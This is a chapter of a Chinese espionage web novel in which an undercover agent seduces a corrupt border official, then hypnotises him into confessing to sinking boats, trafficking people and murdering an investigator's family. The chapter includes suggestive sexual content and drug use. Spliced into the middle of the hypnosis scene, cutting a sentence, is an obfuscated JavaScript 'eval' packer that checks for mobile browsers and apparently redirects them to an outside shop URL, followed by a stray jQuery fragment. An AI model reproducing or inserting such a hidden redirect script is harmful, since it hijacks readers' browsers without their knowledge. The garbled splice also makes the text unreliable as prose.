17. 第十七章 皮囊之下

作品:《舞蜕·霓裳狱

    夜色中的大其力镇,像一块被廉价香水、汗臭和欲望浸泡得发胀的海绵。“金孔雀”夜总会俗艳的霓虹招牌在浑浊的空气里兀自闪烁,将门前坑洼的水泥地染成一片病态的粉紫色。震耳欲聋的电子音乐如同实质的声浪,裹挟着嘶哑的歌声、粗野的划拳声和女人尖利的调笑,不断撞击着街道,也撞击着张怡紧绷的神经。


    她站在夜总会门口刺目的光晕边缘,身上依旧是那套紧束的、闪烁着廉价亮片的黑色连衣裙,裙摆短得堪堪遮住大腿。浓重的妆容——惨白的粉底、夸张的黑色眼线勾勒出的狭长凤眼、鲜红欲滴的唇膏——像一层精心涂抹的油彩,将“影刃”的锋芒彻底掩盖,只留下一个眼神空洞、带着风尘疲惫的躯壳。劣质香水的甜腻气息从她身上散发出来,混合着夜总会门口污浊的空气,让她胃里一阵翻搅。宿醉的眩晕和肋下的钝痛并未完全消散,但她强行将它们压入意识的深层冰封。


    一辆黑色的丰田轿车,悄无声息地滑到她面前,车窗降下。驾驶座上,正是昨夜那个眼神像淬了油的探针、领口缀着金色纹饰的司机。他嘴角噙着一丝若有若无、带着狎昵和评估意味的弧度,目光毫不避讳地在张怡身上逡巡了一遍,才用带着浓重泰北口音的缅语道:“老板在‘湄公河之珠’等你。”语气平淡,却带着不容置疑的命令感。


    张怡面无表情,如同一个设定好程序的玩偶,拉开车门坐进后座。皮革座椅冰凉,散发出淡淡的皮革清洁剂和雪茄混合的味道。车子平稳启动,汇入大其力混乱的车流。司机似乎很享受这种掌控感,从后视镜里瞥了她一眼,闲聊般开口,声音带着一丝刻意营造的亲昵:“老板昨晚……很满意。说你很会来事。”他顿了顿,像是等着某种反应。


    张怡的目光落在车窗外飞速掠过的、光怪陆离的街景上,霓虹灯的光斑在她空洞的眼底明明灭灭。她没有回应,甚至连眼睫都没有颤动一下,仿佛那评价的对象与自己毫无关系。只有搁在膝上的、那只包裹在劣质黑色丝袜里的脚,极其轻微地绷紧了一瞬,又迅速放松。


    司机讨了个没趣,讪讪地哼了一声,不再说话,专心开车。车内只剩下引擎的低鸣和窗外模糊的喧嚣。


    “湄公河之珠”并非临河,而是坐落在镇中心一处相对僻静的地段。这是一家装修风格刻意模仿法式殖民时期风情的餐厅,厚重的深色木质装饰、繁复的铸铁吊灯、洁白的桌布,营造出一种虚假的典雅和距离感。空气中弥漫着烤面包、咖啡豆和昂贵香水的味道,与“金孔雀”的喧嚣浑浊截然不同。穿着考究制服的服务生悄无声息地穿梭,客人们低声交谈,刀叉碰撞的声音清脆悦耳。


    司机将车停在门口,并未下车。一个穿着黑色西装、戴着白手套的侍者快步上前,恭敬地为张怡拉开车门,目光在她过于暴露的衣着上飞快地掠过一丝讶异,随即恢复了职业性的平静。


    “颂帕先生在‘河畔’包厢等您,小姐。”侍者微微躬身,引着她穿过铺着厚地毯的走廊。


    包厢门被轻轻推开。颂帕已经坐在了靠窗的位置。他换下了昨晚那身休闲装,穿着一件质地精良的深蓝色丝绒衬衫,袖口随意地挽起,露出价值不菲的手表。暖黄色的灯光柔和地洒在他脸上,冲淡了几分海关官员特有的刻板,却更凸显出他眼神里那种习惯掌控一切的、带着审视和玩味的狎昵。桌上已经醒着一瓶红酒,深宝石红的酒液在水晶杯里折射出诱人的光泽。几碟精致的开胃小菜摆放着。


    看到张怡进来,颂帕嘴角勾起一个满意的笑容,站起身,绕过桌子,很自然地伸出手,想要揽住她的腰肢。“来了?我的小野猫。”他的声音低沉,带着一丝刻意的亲昵。


    张怡在他手指即将触碰到自己腰侧的瞬间,身体如同游鱼般极其自然地、不着痕迹地向侧前方滑开半步,刚好避开了他的触碰。她脸上却适时地绽开一个妩媚的笑容,带着恰到好处的羞涩和依赖,仿佛刚才的闪避只是不经意的巧合。“颂帕先生,让您久等了。”她的声音刻意放得有些沙哑慵懒,眼波流转间,那份空洞被一种迷离的诱惑所取代。她顺势在侍者拉开的椅子上坐下,动作带着一丝刻意的笨拙,像是还不习惯这种高雅的场合。


    颂帕的手落了个空,眼中闪过一丝不易察觉的愠怒,但很快被张怡那瞬间绽放的媚态所化解。他哈哈一笑,坐回自己的位置,目光依旧粘在张怡脸上和胸前:“不久,等美人儿,多久都值得。昨晚……真是让人难忘。”他举起酒杯,向张怡示意。


    张怡端起面前的水晶杯,指尖微微颤抖(恰到好处地表现出紧张和不适应),杯中的红酒轻轻晃动。“颂帕先生太会说话了。”她垂下眼帘,长长的假睫毛在眼下投下一小片阴影,掩饰着眼底深处的冰冷。她小啜了一口红酒,醇厚的液体滑过喉咙,带来一丝暖意,也让她紧绷的神经获得一丝虚假的麻痹。“我只是……想尽力让您开心。孩子们……还等着药救命呢。”她适时地抬眼,眸子里瞬间蒙上一层水雾,脆弱又依赖地看着颂帕。


    “放心,放心!”颂帕大手一挥,姿态豪爽,“答应你的,我颂帕说到做到!明天一早,最后一批药,准时送到邦纳帕!”他身体微微前倾,压低了声音,带着一种分享秘密般的亲昵,“你昨晚那么‘懂事’,我怎么能亏待你呢?以后啊,跟着我,少不了你的好处。在这大其力,我说话,还是管点用的。”他话语里的暗示和居高临下的施舍感毫不掩饰。


    张怡心中冷笑,面上却露出感激和崇拜的神色,微微欠身:“谢谢颂帕先生……您真是……太可靠了。”她拿起刀叉,开始对付面前精致的鹅肝酱。动作有些生疏,带着点小心翼翼,符合她此刻“挣扎求生、攀附权贵”的角色设定。颂帕满意地看着她,一边享用美食,一边滔滔不绝地讲述着他如何“管理”着繁忙的边境口岸,如何“认识”各路有头有脸的人物,如何在一次缉私行动中“大显神威”(自然是经过他夸张渲染的版本)。他的语气充满了自得和一种根深蒂固的优越感,仿佛整个世界都该匍匐在他脚下。


    张怡安静地听着,偶尔适时地发出“真的吗?”“太厉害了!”之类的惊叹,或是一个恰到好处的、带着崇拜的注视。她的回应精准得像计算好的程序,每一次惊叹的语调,每一次抬眸的角度,都完美地迎合着颂帕膨胀的虚荣心,像润滑剂一样,让他的夸夸其谈更加顺畅。她巧妙地引导着话题,看似不经意地恭维着他的权势、手腕,甚至他的“男性魅力”,让颂帕的谈兴愈发高涨,精神也愈发亢奋。红酒一杯接一杯地倒入他的喉咙,脸上泛起兴奋的红光,眼神开始变得有些迷离和贪婪。


    时间在颂帕的自我吹嘘和张怡的“倾情配合”中流逝。当餐后甜点精致的瓷盘被撤下,颂帕的眼神已经像黏稠的糖浆一样,牢牢地粘在张怡身上,毫不掩饰其中的欲望。他有些急躁地放下餐巾,站起身,走到张怡身边,带着浓郁酒气的气息喷在她的颈侧:“走吧,宝贝儿。这里……太拘束了。我们回家,好好……放松一下。”他的手这次不容拒绝地落在了张怡裸露的肩膀上,带着灼热的温度和令人作呕的占有欲。


    张怡的身体在接触的瞬间几不可察地僵硬了零点几秒,随即又彻底放松下来,像一滩柔软的泥。她顺势依偎进颂帕的怀里,声音带着一丝慵懒的鼻音:“嗯……都听您的。”她微微侧头,避开他凑上来的嘴唇,用脸颊蹭了蹭他的胸膛,像一只温顺的猫。


    颂帕哈哈大笑,搂着她的腰,几乎是半抱着她,在侍者恭敬的目送下,走出了餐厅。司机早已将车停在门口,看到他们出来,立刻下车拉开车门,目光在张怡依偎在颂帕怀里的姿势上停留了一瞬,嘴角勾起一个心照不宣的弧度。


    车子驶离了灯火辉煌的餐厅区,拐进一条相对安静、两旁栽种着高大棕榈树的林荫道。颂帕的公寓就在这条道的尽头,一栋独门独户的现代风格小楼,白色的外墙在月光下泛着冷光,与周围的环境格格不入,彰显着主人的财富和地位。


    司机将车停在车库门口,便识趣地离开了。颂帕搂着张怡,用指纹打开厚重的实木大门。


    室内是典型的暴发户风格。巨大的水晶吊灯从挑高的天花板上垂下,将大理石地面映照得光可鉴人。昂贵的真皮沙发、镶金边的欧式家具、墙上挂着色彩浓烈却毫无艺术价值的油画,处处透着一股用金钱堆砌出的浮夸和庸俗。空气里弥漫着浓烈的雪茄、皮革和一种不知名的、甜腻的熏香混合的味道。


    颂帕一进门,似乎彻底卸下了最后一丝伪装。他迫不及待地将张怡抵在冰冷的玄关墙壁上,带着酒臭的嘴唇胡乱地在她脖颈和脸上啃咬,一双大手在她身上粗暴地揉捏着,那件廉价的亮片裙被揉搓得发出不堪重负的细微声响。他含糊不清地嘟囔着:“小野猫……昨晚没尽兴……今晚……好好陪老子……”


    张怡强忍着胃里翻江倒海的恶心感和皮肤上如同被蛞蝓爬过的粘腻感。她像一截没有生命的木头,被动地承受着。但当颂帕试图撕扯她的裙装时,她微微偏头,避开了他凑上来的嘴,用带着喘息和一丝羞涩的声音低语:“颂帕先生……别急嘛……您忘了……好东西了?”她的手指,如同灵巧的蛇,轻轻滑进颂帕敞开的衬衫领口,在他滚烫的胸膛上若有若无地画着圈,眼神迷离地看着他。


    颂帕的动作猛地一顿,随即眼中爆发出更加贪婪和急切的火焰:“对!对!好东西!”他像是被提醒了关键环节,一把抓住张怡的手腕(力道很大,在她细嫩的手腕上留下清晰的指痕),拖着她踉跄地走向客厅角落一个镶着金边的酒柜。他手忙脚乱地拉开一个抽屉,里面赫然放着几个花花绿绿的药盒,全是强效的助兴药物。他看也不看,胡乱抓起几颗不同颜色的药丸,仰头就着旁边半瓶威士忌灌了下去,喉结剧烈地滚动着。酒精混合着药力,让他的呼吸瞬间变得更加粗重,眼神也彻底浑浊起来,脸上泛起一种不正常的潮红。


    “来……宝贝儿……”他转过身,像一头被彻底点燃的野兽,再次扑向张怡,动作更加狂乱粗暴。他撕扯着她的衣服,将她推倒在宽大而冰冷的真皮沙发上。沉重的身体压了下来,带着令人窒息的重量和热量。汗味、酒气、药味和他身上那股甜腻的熏香,混合成一种令人作呕的气息,将张怡彻底包裹。


    张怡闭上了眼睛。


    她像一具精密的仪器,调动着“毒蝎”刻入骨髓的专业技能。每一个细微的扭动,每一声压抑的喘息,每一次看似迎合的触碰,都经过精确的计算。她的指尖带着某种奇特的韵律,在颂帕紧绷的颈侧游走,看似挑逗,实则如同最老练的琴师,精准地拨动着那些能加速血液奔涌、放大感官刺激的神经节点。


    她的低语如同魔咒,在颂帕耳边吹拂着热气,用最直接、最能刺激他原始欲望的语言,不断撩拨、刺激、催促着他本就失控的感官。


    ……


    时间在令人窒息的喘息中流逝。不知过了多久,颂帕开始变得迟滞、混乱。他喉咙里的嘶吼变成了意义不明的呜咽,像一台耗尽了燃料的破旧引擎。最后,他发出一声长长的、如同濒死般的叹息,身体猛地一僵,随即如同被抽掉了所有骨头,重重地瘫软下来。


    他沉重的头颅耷拉在张怡的颈窝,滚烫的呼吸喷在她的皮肤上,带着浓烈的酒臭。几乎在几个呼吸之间,沉重的鼾声就响了起来,带着一种筋疲力尽的死寂。


    张怡一动不动地躺着,任由那具沉重而汗湿的躯体压着自己。劣质沙发冰冷的皮革紧贴着她裸露的背脊。她静静地等待了足足三分钟,确认颂帕的呼吸已经彻底沉入深度的体力透支带来的昏迷状态。


    然后,她动了。动作轻柔得像一片羽毛,却又带着一种不容置疑的力量。她双手抵住颂帕汗湿滑腻的肩膀,腰腹和腿部同时发力,如同最灵巧的瑜伽师,以一个不可思议的角度和最小的动静,将他沉重的身躯从自己身上缓缓推了下去。


    颂帕像一截沉重的原木,翻倒在宽大的沙发上,发出沉闷的声响,鼾声依旧震天。他四肢摊开,毫无防备,脸上还残留着纵欲过度后的疲惫和一丝扭曲的满足感。


    张怡坐起身,赤裸的身体在冰冷的水晶吊灯光下泛着一种瓷器般的冷白光泽。她身上沾满了汗液和颂帕留下的粘腻痕迹,但她毫不在意。她甚至没有立刻去拿散落在沙发下的衣物,只是赤着脚,悄无声息地踩在冰冷的大理石地面上,像一抹游荡在奢华墓穴里的幽魂。


    她走到巨大的落地窗前,窗外是精心打理过的小花园,月光给修剪整齐的灌木丛镀上了一层惨淡的银边。她背对着沙发上那具沉睡的躯体,深深地、无声地吸了一口气。冰冷的空气涌入肺腑,仿佛要将胸腔里淤积的污浊气息彻底置换出去。她闭上眼睛,几秒钟后,再睁开时,眼底所有的空洞、迷离、甚至那强行压制的冰冷屈辱,都消失了。取而代之的,是一种绝对的、剥离了所有情绪的、如同手术刀般锋利而专注的平静。


    她转过身,目光落在颂帕那张毫无防备的脸上。


    是时候了。


    她重新走回沙发边,没有坐下,而是选择了一个位置,居高临下地俯视着颂帕沉睡的面孔。她的影子被灯光拉长,投射在颂帕身上,像一片无声的阴霾。


    她的声音响了起来,不再是之前的沙哑慵懒,也不再是刻意模仿的媚态。那是一种极其特殊的、仿佛带着奇异共振的低语,每一个音节都清晰、平稳、富有磁性,如同深谷中回荡的钟声,又像是冰冷的溪水流过光滑的鹅卵石,直接穿透了喧嚣的鼾声,抵达意识的最深处。


    “颂帕……” 她的声音不高,却带着一种不容置疑的穿透力,像一把无形的钥匙,轻轻插入了意识锁孔,“……你累了。很累很累。你完成了一件大事,值得好好休息……”


    沙发上的鼾声似乎微弱了一丝丝。颂帕的眉头无意识地蹙了一下,随即又放松开。


    “你感觉身体很沉……很放松……像漂浮在温暖的水里……”张怡的声音如同催眠的魔咒,语速缓慢而富有韵律,引导着对方的意识下沉,“你的呼吸很平稳……很深沉……每一次呼吸……都让你更放松……更舒服……”


    颂帕的呼吸节奏,在无形中开始微妙地向她描述的频率靠拢,变得更加悠长、平稳。鼾声几乎消失了。


    “现在,你感觉非常安全……非常平静……这里只有你和我……你可以信任我……告诉我一切……” 张怡的声音如同最轻柔的羽毛,拂过颂帕混乱的意识表层,“告诉我……你心里藏得最深的东西……那些让你得意……也让你害怕的东西……”


    颂帕的嘴唇微微翕动了一下,喉咙里发出一声模糊的咕哝。


    “很好……很好……”张怡的声音带着赞许和鼓励,“现在……放松


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218559|197468||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……再放松……告诉我……关于你……关于那些‘生意’……关于……龙国……”


    当“龙国”这个词,如同投入深潭的石子,从张怡口中清晰地吐出时,颂帕沉睡的脸上,肌肉猛地抽搐了一下!一丝极其强烈的、混合着恐惧和愤怒的情绪波动,像水下的暗涌般掠过他松弛的面部线条。他的眼皮剧烈地颤动起来,仿佛在努力对抗着什么。


    张怡的眼神瞬间变得更加锐利,如同锁定猎物的鹰隼。她的声音没有丝毫变化,依旧平稳、低沉,带着催眠的魔力,却像最坚韧的探针,精准地刺向那个被触动的痛点:


    “龙国……那片土地……那些人……他们挡了你的路……是吗?”她的声音带着一丝恰到好处的共情,仿佛理解他的“不易”。


    颂帕喉咙里发出一阵压抑的、如同困兽般的呜咽。他的双手无意识地抓紧了沙发的真皮表面,指节泛白。


    “你做了什么?颂帕?”张怡的声音如同冰冷的审判,却又带着一种诱人倾诉的魔力,“告诉我……你是如何对付他们的?那些……让你得意的手段……”


    “我……”颂帕的嘴唇终于艰难地翕动起来,发出模糊的呓语,断断续续,充满了混乱和挣扎,“……货物……那些该死的龙国货……想绕开我……走‘猴道’……走私……”他的呼吸变得急促起来,脸上浮现出狰狞和得意交织的神色,“……抓!……让他们……人赃并获!……船……沉了!……沉在界河中间!……谁也……说不清!……”


    张怡的心猛地一沉!沉船!她瞬间联想到一些模糊的、关于边境贸易的旧闻,一些离奇失踪的船只和人!


    “人呢?”她的声音依旧平稳,如同冰冷的铁块。


    “人?”颂帕脸上的得意更加扭曲,带着一种残忍的快意,“……喂鱼了!……或者……卖给……山里……矿……值钱!……不识抬举……就该……消失!……”他的话语破碎不堪,却透露出令人毛骨悚然的罪恶。


    张怡的指尖在身侧微微蜷缩了一下。这不仅仅是贪腐!是谋杀!是绑架贩卖人口!


    “还有呢?”她的声音如同最耐心的猎人,“龙国……他们派来的人……那些……想查你的人?”


    颂帕的身体猛地一抖,脸上得意之色瞬间被巨大的恐惧取代!他像是陷入了某种可怕的梦魇,喉咙里发出“嗬嗬”的声响,额头渗出大颗的冷汗:“……不……不能让他们查!……他们是鬼!……是鬼!……”


    “你是怎么对付这些‘鬼’的?”张怡的声音带着一种奇异的安抚力量,引导着他说出真相。


    “……钱……给他们钱!……很多钱!……”颂帕急促地说,随即又剧烈地摇头,恐惧更深,“……没用!……有些人……不收!……那就……让他们……消失!……车祸……意外……或者……交给……‘清道夫’……”他的声音越来越低,充满了绝望和狠戾,“……那个姓林的……骨头最硬……全家……都没了……火……好大的火……”他发出神经质的、低低的狞笑,随即又转为恐惧的呜咽。


    林?火?张怡的脑海中瞬间闪过一些尘封的卷宗——关于几年前龙国一位在边境失踪的反贪调查员及其家人的悲惨结局,最终被定性为意外火灾!冰冷的杀意如同实质的冰流,瞬间在她四肢百骸奔涌!颂帕不仅是个贪婪的蛀虫,更是双手沾满同胞鲜血的刽子手!他勾结的势力,远比想象的更庞大、更黑暗!


    “清道夫……是谁?”张怡的声音如同淬了冰的针,刺向最核心的秘密。


    “清道夫……”颂帕重复着这个词,脸上的肌肉剧烈地抽搐着,恐惧几乎要冲破药物的束缚。他挣扎着,潜意识在疯狂地拉响警报,对抗着催眠的深入。“……不……不能说……说了……我也会死……像他们一样……”他的声音充满了绝望的哭腔,身体开始无意识地剧烈颤抖起来。


    张怡知道,这已经是颂帕潜意识能承受的极限。再强行深入,很可能惊醒他。她果断地停止了追问。


    “好了……好了……”她的声音瞬间变得无比轻柔舒缓,如同温暖的潮水,将颂帕从恐惧的深渊边缘缓缓拉回,“都过去了……你很安全……非常安全……你只是做了一个梦……一个很累很累的梦……现在……忘记它……深深地睡吧……睡到明天太阳升起……”


    在她的引导下,颂帕剧烈颤抖的身体渐渐平复下来,急促的呼吸重新变得悠长沉重,脸上的恐惧和狰狞也慢慢被疲惫和空白的沉睡所取代。沉重的鼾声再次响起,比之前更加响亮。


    张怡静静地站在沙发边,月光透过巨大的落地窗,在她赤裸的、沾满污秽的身体上投下冰冷的清辉。她看着沙发上那具沉睡的、发出粗重鼾声的躯体,那张平庸的脸上此刻只剩下纵欲和药物透支后的疲惫与愚蠢。


    然而,在她那双深不见底的眼眸里,映照出的,却是一个浑身浸透鲜血、灵魂散发着恶臭的恶魔。沉船、喂鱼、贩卖矿奴、谋杀调查员、灭门惨案……一桩桩,一件件,如同冰冷的铁锤,狠狠砸在她认知的底线上。这不再仅仅是为了邦纳帕的孩子们换取药品的交易对象。这是一个对龙国犯下累累血债、死有余辜的国贼!


    一丝极其冰冷的、带着绝对审判意味的杀意,如同极地寒风,在她眼底深处无声地凝结、盘旋。她的目光,缓缓扫过颂帕毫无防备的脖颈。


    但下一秒,这杀意又被强行压回冰封的深渊。她想起了阿汶微弱平稳的呼吸,想起了妮妮停止抽搐后疲惫的睡颜,想起了波岩眼中重新燃起的希望,更想起了诺伊那双沉甸甸托付的眼睛。


    为了孩子。


    药,还没拿全。


    她缓缓地、深深地吸了一口气,仿佛要将这房间里的污浊和血腥味彻底吸尽。然后,她弯下腰,动作没有丝毫迟疑或厌恶,如同捡起一件工具,开始一件件捡起地上散落的、属于“毒蝎”的衣物——那件廉价的黑色亮片裙,那双硌脚的高跟鞋。


    冰冷的布料重新包裹住身体,隔绝了空气,却隔绝不了皮肤上残留的粘腻感和深入骨髓的寒意。她走到客厅那部奢华的镶金座机旁,拿起听筒。手指在按键上按下几个数字——那是昨晚那个司机留给她的号码。


    电话很快接通了,司机带着睡意和一丝不耐烦的声音传来:“喂?”


    张怡的声音已经恢复了那种带着慵懒沙哑的媚态,仿佛刚刚经历了一场激烈的欢愉,还带着一丝疲惫的满足:“是我。颂帕先生……睡着了。”她顿了顿,声音压低,带着一丝恰到好处的羞涩和暗示,“他……太厉害了。不过,你也知道,男人嘛……总不喜欢整晚对着一条‘死鱼’的,对不对?”她轻轻笑了一声,那笑声如同羽毛搔刮,带着赤裸的诱惑,“明天……老时间,老地方?我等你……来接我。”


    电话那头沉默了两秒,随即传来司机压抑着兴奋的、心领神会的低笑:“明白。张小姐……真是‘懂事’。明晚见。”


    “喀哒。”


    张怡轻轻挂断了电话。听筒冰冷的触感停留在指尖。她最后看了一眼沙发上死猪般沉睡的颂帕,眼神冰冷得没有一丝温度,如同在看一具即将被处理的垃圾。


    她转过身,赤着脚,无声地穿过奢华而冰冷的大理石客厅,走向浴室。高跟鞋拎在手里,冰冷的金属鞋跟,在月光下反射着幽微的、如同刀锋般的寒光。